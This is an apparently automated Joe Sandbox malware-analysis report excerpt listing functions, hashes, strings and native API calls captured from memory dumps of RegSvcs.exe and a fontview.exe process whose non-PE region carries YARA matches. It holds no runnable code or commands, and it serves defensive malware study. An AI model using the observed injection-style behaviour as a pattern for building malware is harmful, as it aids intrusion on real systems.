Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID: RTL: Enter CriticalSection Timeout (%I64u secs) %d$RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u$RTL: Re-Waiting
API String ID: 0-2474120054
Opcode ID: d2901e8db2a4cc80c76c4061776e6239edd8ee7a2620167fd1e07704b048d9b7
Instruction ID: 40d832e4bdc82dd54d7acb402d48a98251a82c5184a1f748a25ba4b341b63b00
Opcode Fuzzy Hash: d2901e8db2a4cc80c76c4061776e6239edd8ee7a2620167fd1e07704b048d9b7
Instruction Fuzzy Hash: 47E1AE306047419FEB25EF28C894B2ABBE0BB94314F140A1EF5A59B3F1D774D94ACB52

Uniqueness

Uniqueness Score: -1.00%

Function 0149BED0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 129COMMON

Download Yara Rule

Strings

RTL: Acquire Exclusive Sem Timeout %d (%I64u secs), xrefs: 014D7B7F
RTL: Resource at %p, xrefs: 014D7B8E
RTL: Re-Waiting, xrefs: 014D7BAC

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID: RTL: Acquire Exclusive Sem Timeout %d (%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
API String ID: 0-871070163
Opcode ID: dc0fed8fe004c51f5464cb9ba4a479fe692b7e1b806b735a8d79f6f4b7d660a4
Instruction ID: 64b5f2709c0da44d449f6512800f89b8b023c0f6d92d074e4efc19103be2fa9c
Opcode Fuzzy Hash: dc0fed8fe004c51f5464cb9ba4a479fe692b7e1b806b735a8d79f6f4b7d660a4
Instruction Fuzzy Hash: 9341D3313007029BDB20DE29D850F6BBBE5EB98715F100A1FE956DB7A0DB71E8058B91

Uniqueness

Uniqueness Score: -1.00%

Function 0149B4C0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 121COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 014D728C

Strings

RTL: Acquire Shared Sem Timeout %d(%I64u secs), xrefs: 014D7294
RTL: Resource at %p, xrefs: 014D72A3
RTL: Re-Waiting, xrefs: 014D72C1

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: RTL: Acquire Shared Sem Timeout %d(%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
API String ID: 885266447-605551621
Opcode ID: 0e80492b66e8d8def4cda4d2cad81336b7e9d1be75971ca97b4ccd1330600b8b
Instruction ID: 71d3fd69455e73249e7976e36cd806d5712e219e6c0d196c36404fbc18680974
Opcode Fuzzy Hash: 0e80492b66e8d8def4cda4d2cad81336b7e9d1be75971ca97b4ccd1330600b8b
Instruction Fuzzy Hash: CA41E131600242ABDB21DF29DC41F6ABBA5FBA4715F10062FF955AB360DB31F81687D1

Uniqueness

Uniqueness Score: -1.00%

Function 01512300 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 90COMMON

Download Yara Rule

APIs

___swprintf_l.LIBCMT ref: 0151238D
___swprintf_l.LIBCMT ref: 015123B3

Strings

]:%u, xrefs: 015123AA
%%%u, xrefs: 01512384

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID: ___swprintf_l
String ID: %%%u$]:%u
API String ID: 48624451-3050659472
Opcode ID: bd76e3f2cba962ecd48bdf1e8c292bb225366d852373681929569bc901e07c24
Instruction ID: e214209e07a30a5325632924ce7421578364effcc35c6ebd8fa4a372d8a06342
Opcode Fuzzy Hash: bd76e3f2cba962ecd48bdf1e8c292bb225366d852373681929569bc901e07c24
Instruction Fuzzy Hash: 8A318672A002199FDB21DF2DCC40BEEB7F8FB54650F95455AE949E7204EB30EA548BA0

Uniqueness

Uniqueness Score: -1.00%

Function 014A7D61 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 284COMMON

Download Yara Rule

APIs

__aulldvrm.LIBCMT ref: 014A7E8B

Strings

+, xrefs: 014A7DE8
-, xrefs: 014A7DDD

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID: __aulldvrm
String ID: +$-
API String ID: 1302938615-2137968064
Opcode ID: 0e72ee8b5e9315034f2b46ff5b251d52fedc42f24a18d50ff17db184198f4ea1
Instruction ID: e87cd1599d464c4784e9cc9a06c035b6b58d5a9a174862ef313c33916cf4d104
Opcode Fuzzy Hash: 0e72ee8b5e9315034f2b46ff5b251d52fedc42f24a18d50ff17db184198f4ea1
Instruction Fuzzy Hash: 9F91C470E002069AEF34CF6DC8906BFBBA5EF64322F96451BF955A73E0D7328A418750

Uniqueness

Uniqueness Score: -1.00%

Function 01469126 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 199COMMON

Download Yara Rule

Strings

$, xrefs: 01469191
@, xrefs: 01469175

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID: $$@
API String ID: 0-1194432280
Opcode ID: e2ebbe01d13f050b94f3e5bc1ba1681ba67e40acbaf8dd72d794407fe656ff9d
Instruction ID: a7170047f3e59c477012b1ad0b914311e9f7f6a4dfee6ebf2f2e477aa9a63057
Opcode Fuzzy Hash: e2ebbe01d13f050b94f3e5bc1ba1681ba67e40acbaf8dd72d794407fe656ff9d
Instruction Fuzzy Hash: 9D813C75D00269DBDB31CB54CC44BEEBAB8AB18714F0441EBEA19B7250D7B09E85CF60

Uniqueness

Uniqueness Score: -1.00%

Function 014ECEA0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 134COMMON

Download Yara Rule

APIs

@_EH4_CallFilterFunc@8.LIBCMT ref: 014ECFBD

Strings

@, xrefs: 014ECF0A
@4rw@4rw, xrefs: 014ECFD5, 014ECFDA, 014ECFF1

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID: CallFilterFunc@8
String ID: @$@4rw@4rw
API String ID: 4062629308-2979693914
Opcode ID: 7c7dcda6381686ca62b411e0ab726d7dbd1b8e080d1767dd2ecc90a483f84f02
Instruction ID: c91ef5d3ff6a5d5e26fc42608a9efff9e5272a269eb60e1b09c536c0606dfc06
Opcode Fuzzy Hash: 7c7dcda6381686ca62b411e0ab726d7dbd1b8e080d1767dd2ecc90a483f84f02
Instruction Fuzzy Hash: 5C419AB1D00215DFDB219FAAC894AAEBBF8FF65B54F04402FE914DB264E7708801DB61

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: fontview.exePID: 6224, Parent PID: 6900COMMON

Execution Graph

Execution Coverage:	3%
Dynamic/Decrypted Code Coverage:	2.4%
Signature Coverage:	3%
Total number of Nodes:	930
Total number of Limit Nodes:	118

Executed Functions

Function 02A399B0 Relevance: 28.0, Strings: 22, Instructions: 467
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

o%, xrefs: 02A39B4F
1P, xrefs: 02A39DDB
i, xrefs: 02A39D7F
%, xrefs: 02A39DBD
L, xrefs: 02A39BF5
H, xrefs: 02A39AC8
%, xrefs: 02A39CAD
o, xrefs: 02A39A25
P, xrefs: 02A39DA9
e, xrefs: 02A39C09
W, xrefs: 02A39D4D
?=, xrefs: 02A39D17
HV, xrefs: 02A39B92
I&, xrefs: 02A39BA6
M, xrefs: 02A39C1D
M, xrefs: 02A39A56
[1, xrefs: 02A39B63
P, xrefs: 02A39AF5
D, xrefs: 02A39D61
iU, xrefs: 02A39B59
6@, xrefs: 02A39BBE
_, xrefs: 02A39DC7

Memory Dump Source

Source File: 0000000C.00000002.3728408141.0000000002A30000.00000040.80000000.00040000.00000000.sdmp, Offset: 02A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2a30000_fontview.jbxd

Yara matches

Similarity

API ID:
String ID: %$%$1P$6@$?=$D$H$HV$I&$L$M$M$P$W$[1$_$e$i$iU$o$o%$P
API String ID: 0-528503831
Opcode ID: 4760c2df78d8db34c4257b5b400173bb445f35f6a5915b541e8bb60b579bc216
Instruction ID: 5f8562891632a9ac9490a4e0ae1d5937288470a57502b6a57e4c38a657a6077e
Opcode Fuzzy Hash: 4760c2df78d8db34c4257b5b400173bb445f35f6a5915b541e8bb60b579bc216
Instruction Fuzzy Hash: A342A1B0D0522ACBEB25CF44C998BEEBBB1BB45308F1081D9D5596B281DBB55E89CF40

Uniqueness

Uniqueness Score: -1.00%

Function 02A4C300 Relevance: 4.6, APIs: 3, Instructions: 106fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(?,00000000), ref: 02A4C3E4
FindNextFileW.KERNELBASE(00000000,00000010), ref: 02A4C41F
FindClose.KERNELBASE(00000000), ref: 02A4C42A

Memory Dump Source

Source File: 0000000C.00000002.3728408141.0000000002A30000.00000040.80000000.00040000.00000000.sdmp, Offset: 02A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2a30000_fontview.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNext
String ID:
API String ID: 3541575487-0
Opcode ID: c2aecdd4c86bb0b527e38703e58ca2a0e437c83e7f047480f032a980cb14c1cd
Instruction ID: 5098ed42ed6a3dd468d4fcec3b8d19cab261c6dbbf0dc24856e976c147b24452
Opcode Fuzzy Hash: c2aecdd4c86bb0b527e38703e58ca2a0e437c83e7f047480f032a980cb14c1cd
Instruction Fuzzy Hash: B331AFB5940208BBDB21DF64DD89FFFB77D9F84754F104459B908A7180EE70AA85CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 02A41AC0 Relevance: 1.6, Strings: 1, Instructions: 398COMMON

Download Yara Rule

Strings

"x8#, xrefs: 02A41C5C

Memory Dump Source

Source File: 0000000C.00000002.3728408141.0000000002A30000.00000040.80000000.00040000.00000000.sdmp, Offset: 02A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2a30000_fontview.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID: "x8#
API String ID: 2340568224-3294973128
Opcode ID: b54912117a70023ceeb8a3232e118cb22f1c399f596a31843e6eec0ad5832308
Instruction ID: 1d3f10641746bc917d11d33893cc73dda3294baeec066d52b8252fb43c125bee
Opcode Fuzzy Hash: b54912117a70023ceeb8a3232e118cb22f1c399f596a31843e6eec0ad5832308
Instruction Fuzzy Hash: 1DE1A0B1D40218ABDB24DFA0DD81BFFB7B9AF84304F14455AE909A6141EF70A785CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 02A54FD0 Relevance: 1.6, APIs: 1, Instructions: 87filenativeCOMMON

Download Yara Rule

APIs

NtCreateFile.NTDLL(?,?,?,?,?,?,?,?,?,?,?), ref: 02A5508E

Memory Dump Source

Source File: 0000000C.00000002.3728408141.0000000002A30000.00000040.80000000.00040000.00000000.sdmp, Offset: 02A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2a30000_fontview.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 8c8f54b6705e79f3e07e229fca26c084e98c70d9e8aebe4724d89cba79aba75e
Instruction ID: 057b15d44532757883d1cfafa9a3af207159c34bca3dd6c69984b9fb9b1a2356
Opcode Fuzzy Hash: 8c8f54b6705e79f3e07e229fca26c084e98c70d9e8aebe4724d89cba79aba75e
Instruction Fuzzy Hash: D221A2B2210549BFDB44DF99DC81EEB73AEAF8C714F508208FA5D97240DA30E8518BB5

Uniqueness

Uniqueness Score: -1.00%

Function 02A55100 Relevance: 1.6, APIs: 1, Instructions: 79filenativeCOMMON

Download Yara Rule

APIs

NtReadFile.NTDLL(?,?,?,?,?,?,?,?,?), ref: 02A551AB

Memory Dump Source

Source File: 0000000C.00000002.3728408141.0000000002A30000.00000040.80000000.00040000.00000000.sdmp, Offset: 02A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2a30000_fontview.jbxd

Yara matches

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: b7abfef7784aa854fe949d1fdcbe2a4ebe1a6b5c624e9fc181da155e2a6ffa35
Instruction ID: 284b26fb0fb3708ee82b0c707aa09a0396aa68b4567a2194bc5e08d734fe9905
Opcode Fuzzy Hash: b7abfef7784aa854fe949d1fdcbe2a4ebe1a6b5c624e9fc181da155e2a6ffa35
Instruction Fuzzy Hash: 2921C4B2240109BFDB04DF98DC80EEB77ADAF8D714F048208FA5DD7240DA30A9118BB5

Uniqueness

Uniqueness Score: -1.00%

Function 02A55370 Relevance: 1.6, APIs: 1, Instructions: 67memorynativeCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(02A41B38,?,02A42249,00000000,00000004,00003000,00000004,00000000,02A42249,?,02A41B38,02A42249,?), ref: 02A55406

Memory Dump Source

Source File: 0000000C.00000002.3728408141.0000000002A30000.00000040.80000000.00040000.00000000.sdmp, Offset: 02A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2a30000_fontview.jbxd

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: f3371544b1aa87ca394e27890c48d4f5b995605479b83cf73aeac1f640bbe760
Instruction ID: 3692610ee0992f9b4facd4329928998842d9a20887fb62f9517f37d40837a8bc
Opcode Fuzzy Hash: f3371544b1aa87ca394e27890c48d4f5b995605479b83cf73aeac1f640bbe760
Instruction Fuzzy Hash: 691116B6200209BFDB10DF98DC81EAB73ADEF89710F108109FE5897240DA70A8118BB2

Uniqueness

Uniqueness Score: -1.00%

Function 02A551C0 Relevance: 1.5, APIs: 1, Instructions: 47filenativeCOMMON

Download Yara Rule

APIs

NtDeleteFile.NTDLL(?), ref: 02A5522E

Memory Dump Source

Source File: 0000000C.00000002.3728408141.0000000002A30000.00000040.80000000.00040000.00000000.sdmp, Offset: 02A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2a30000_fontview.jbxd

Yara matches

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: 57c27c47a54bcd87636a0a2a60c471030505225754f600c1d6c9e390136ac219
Instruction ID: 431172daf3b88d10a13cd2411b4aab3ee29edb62b7fbe2504334098b57b05a35
Opcode Fuzzy Hash: 57c27c47a54bcd87636a0a2a60c471030505225754f600c1d6c9e390136ac219
Instruction Fuzzy Hash: 0BF0D171641614BFD521E799DC40FABB3ADDFC5720F408409F95C97141DB3079418BB1

Uniqueness

Uniqueness Score: -1.00%

Function 02A55240 Relevance: 1.5, APIs: 1, Instructions: 25nativeCOMMON

Download Yara Rule

APIs

NtClose.NTDLL(?,?,001F0001,?,00000000,?,00000000,00000104), ref: 02A55277

Memory Dump Source

Source File: 0000000C.00000002.3728408141.0000000002A30000.00000040.80000000.00040000.00000000.sdmp, Offset: 02A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2a30000_fontview.jbxd

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: a08fca5580a631a550be9335b754077320016150a14adcbc7aded5e184d4430a
Instruction ID: fed54e2177792a2c427a7475194d010e352e20f532f1fedabed3208d1528d5be
Opcode Fuzzy Hash: a08fca5580a631a550be9335b754077320016150a14adcbc7aded5e184d4430a
Instruction Fuzzy Hash: D0E046722402147BD620EA99DC00FABB7ADEBC5B20F408015FA48A7242CA70BA018BF5

Uniqueness

Uniqueness Score: -1.00%

Function 04AB4650 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 04AB465A

Memory Dump Source

Source File: 0000000C.00000002.3735975826.0000000004A40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A40000, based on PE: true

Associated: 0000000C.00000002.3735975826.0000000004B69000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3735975826.0000000004B6D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3735975826.0000000004BDE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_4a40000_fontview.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 03503cb0cf694b966124a52fd20dd1821e80c5f5c392a714c42c3770c24fc8fb
Instruction ID: 32c57df7b7d6148d7c0d5ea540b1ef8c008f16731a6adb97dc7e8e73bc9b68de
Opcode Fuzzy Hash: 03503cb0cf694b966124a52fd20dd1821e80c5f5c392a714c42c3770c24fc8fb
Instruction Fuzzy Hash: 7D900261601500426180715948044066005ABE13063D6C11DA0555560C861DD9559269

Uniqueness

Uniqueness Score: -1.00%

Function 04AB4340 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 04AB434A

Memory Dump Source

Source File: 0000000C.00000002.3735975826.0000000004A40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A40000, based on PE: true

Associated: 0000000C.00000002.3735975826.0000000004B69000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3735975826.0000000004B6D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3735975826.0000000004BDE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_4a40000_fontview.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 48733b00d247362d0eaf720f862e3c234963a765e1f1fc85cbd34d8672d151c7
Instruction ID: 4e7f58594b8e343c357276fe155b5f1c907f917bda0e24f5bd394a204e7eae7b
Opcode Fuzzy Hash: 48733b00d247362d0eaf720f862e3c234963a765e1f1fc85cbd34d8672d151c7
Instruction Fuzzy Hash: B990023160580012B180715948845464005ABE0306B96C019E0425554C8A19DA565361

Uniqueness

Uniqueness Score: -1.00%

Function 04AB2CA0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 04AB2CAA

Memory Dump Source

Source File: 0000000C.00000002.3735975826.0000000004A40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A40000, based on PE: true

Associated: 0000000C.00000002.3735975826.0000000004B69000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3735975826.0000000004B6D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3735975826.0000000004BDE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_4a40000_fontview.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 93b9860cd5bca99e1fe062c61e5215b69c842662b1b03398d719d53b179a7deb
Instruction ID: d46aa6fd54381c7cd36ff12c1f1133170ddc36fd198b5bd5b1112afcbbe2477b
Opcode Fuzzy Hash: 93b9860cd5bca99e1fe062c61e5215b69c842662b1b03398d719d53b179a7deb
Instruction Fuzzy Hash: FA90023120140402F1407599540864600059BE0306F96D019A5025555EC66AD9916131

Uniqueness

Uniqueness Score: -1.00%

Function 04AB2C60 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 04AB2C6A

Memory Dump Source

Source File: 0000000C.00000002.3735975826.0000000004A40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A40000, based on PE: true

Associated: 0000000C.00000002.3735975826.0000000004B69000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3735975826.0000000004B6D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3735975826.0000000004BDE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_4a40000_fontview.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 109ecbf736221171dd35bf262b4410319162c72c09bb7fc374d5d89aa12920c2
Instruction ID: 5e66d51a5b17b710e89c22330af4758a8d0597d494907d8f38336dd63b365746
Opcode Fuzzy Hash: 109ecbf736221171dd35bf262b4410319162c72c09bb7fc374d5d89aa12920c2
Instruction Fuzzy Hash: 5390023120140842F14071594404B4600059BE0306F96C01EA0125654D861AD9517521

Uniqueness

Uniqueness Score: -1.00%

Function 04AB2C70 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 04AB2C7A

Memory Dump Source

Source File: 0000000C.00000002.3735975826.0000000004A40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A40000, based on PE: true

Associated: 0000000C.00000002.3735975826.0000000004B69000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3735975826.0000000004B6D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3735975826.0000000004BDE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_4a40000_fontview.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 9eadb3f142c6845388e8a3c5699bc9465a7f6d93a77081e6cf780b6d0664846a
Instruction ID: 0558e6d8ee77a354613dd2373f4f09557ab749c9613acbaa04b00d2076ede5c6
Opcode Fuzzy Hash: 9eadb3f142c6845388e8a3c5699bc9465a7f6d93a77081e6cf780b6d0664846a
Instruction Fuzzy Hash: 2690023120148802F1507159840474A00059BD0306F9AC419A4425658D869AD9917121

Uniqueness

Uniqueness Score: -1.00%

Function 04AB2DF0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 04AB2DFA

Memory Dump Source

Source File: 0000000C.00000002.3735975826.0000000004A40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A40000, based on PE: true

Associated: 0000000C.00000002.3735975826.0000000004B69000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3735975826.0000000004B6D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3735975826.0000000004BDE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_4a40000_fontview.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 4d8885478d695ab81bb4f49cf5173b143a2791e3feaf9d1e74f0c2084e1f7fe7
Instruction ID: da5fb2ab5cf0737c35b33faac5bc5d8dfec6fe37fa9b9d072e222bb8544c6f92
Opcode Fuzzy Hash: 4d8885478d695ab81bb4f49cf5173b143a2791e3feaf9d1e74f0c2084e1f7fe7
Instruction Fuzzy Hash: 3590023120140413F1517159450470700099BD0246FD6C41AA0425558D965BDA52A121

Uniqueness

Uniqueness Score: -1.00%

Function 04AB2DD0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 04AB2DDA

Memory Dump Source

Source File: 0000000C.00000002.3735975826.0000000004A40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A40000, based on PE: true

Associated: 0000000C.00000002.3735975826.0000000004B69000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3735975826.0000000004B6D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3735975826.0000000004BDE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_4a40000_fontview.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 6e139fa74f73ae272d9098b48c0bebf4aadd5d588bb7fafb6a32820f9bc1fa75
Instruction ID: 14fac668c5500340183bb159b7ff98a20293f253c1d8e541fd584966716eba01
Opcode Fuzzy Hash: 6e139fa74f73ae272d9098b48c0bebf4aadd5d588bb7fafb6a32820f9bc1fa75
Instruction Fuzzy Hash: 9C900221242441527585B15944045074006ABE02467D6C01AA1415950C852BE956D621

Uniqueness

Uniqueness Score: -1.00%

Function 04AB2D30 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 04AB2D3A

Memory Dump Source

Source File: 0000000C.00000002.3735975826.0000000004A40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A40000, based on PE: true

Associated: 0000000C.00000002.3735975826.0000000004B69000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3735975826.0000000004B6D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3735975826.0000000004BDE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_4a40000_fontview.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: fb8c52745ffb2383c62b79b373530b4dd1bf57840cc1bf9f75a9b310ebc80503
Instruction ID: 1b65b91fafb24352c2690ef2246ad7aba486732d433ca6f3098d5082f6b9c9e4
Opcode Fuzzy Hash: fb8c52745ffb2383c62b79b373530b4dd1bf57840cc1bf9f75a9b310ebc80503
Instruction Fuzzy Hash: E090022130140003F180715954186064005EBE1306F96D019E0415554CD91AD9565222

Uniqueness

Uniqueness Score: -1.00%

Function 04AB2D10 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 04AB2D1A

Memory Dump Source

Source File: 0000000C.00000002.3735975826.0000000004A40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A40000, based on PE: true

Associated: 0000000C.00000002.3735975826.0000000004B69000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3735975826.0000000004B6D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3735975826.0000000004BDE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_4a40000_fontview.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: b4838e7f239a5fabf0b02566bbb26323a5a68cbd88dbc7f0b659c0d4a0a2288c
Instruction ID: 0ab0dc77a6fcc71e76d3cc81457302710f829ca90206605bc3a4b1c4dd3598b4
Opcode Fuzzy Hash: b4838e7f239a5fabf0b02566bbb26323a5a68cbd88dbc7f0b659c0d4a0a2288c
Instruction Fuzzy Hash: C690022921340002F1C07159540860A00059BD1207FD6D41DA0016558CC91AD9695321

Uniqueness

Uniqueness Score: -1.00%

Function 04AB2E80 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 04AB2E8A

Memory Dump Source

Source File: 0000000C.00000002.3735975826.0000000004A40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A40000, based on PE: true

Associated: 0000000C.00000002.3735975826.0000000004B69000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3735975826.0000000004B6D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3735975826.0000000004BDE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_4a40000_fontview.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: aa75ee4f69bfc0d9c9e608517a016fe225f5580e140e4fd47ec7a3a4e5f38853
Instruction ID: ec5b4899ed5fb5a0e02201b6ff651d37cd465afbe8609e577e538f5ee7a3e10c
Opcode Fuzzy Hash: aa75ee4f69bfc0d9c9e608517a016fe225f5580e140e4fd47ec7a3a4e5f38853
Instruction Fuzzy Hash: 2090022160140502F14171594404616000A9BD0246FD6C02AA1025555ECA2ADA92A131

Uniqueness

Uniqueness Score: -1.00%

Function 04AB2EE0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 04AB2EEA

Memory Dump Source

Source File: 0000000C.00000002.3735975826.0000000004A40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A40000, based on PE: true

Associated: 0000000C.00000002.3735975826.0000000004B69000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3735975826.0000000004B6D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3735975826.0000000004BDE000.00000040.00001000.00020000.00000000.sdmpDownload File
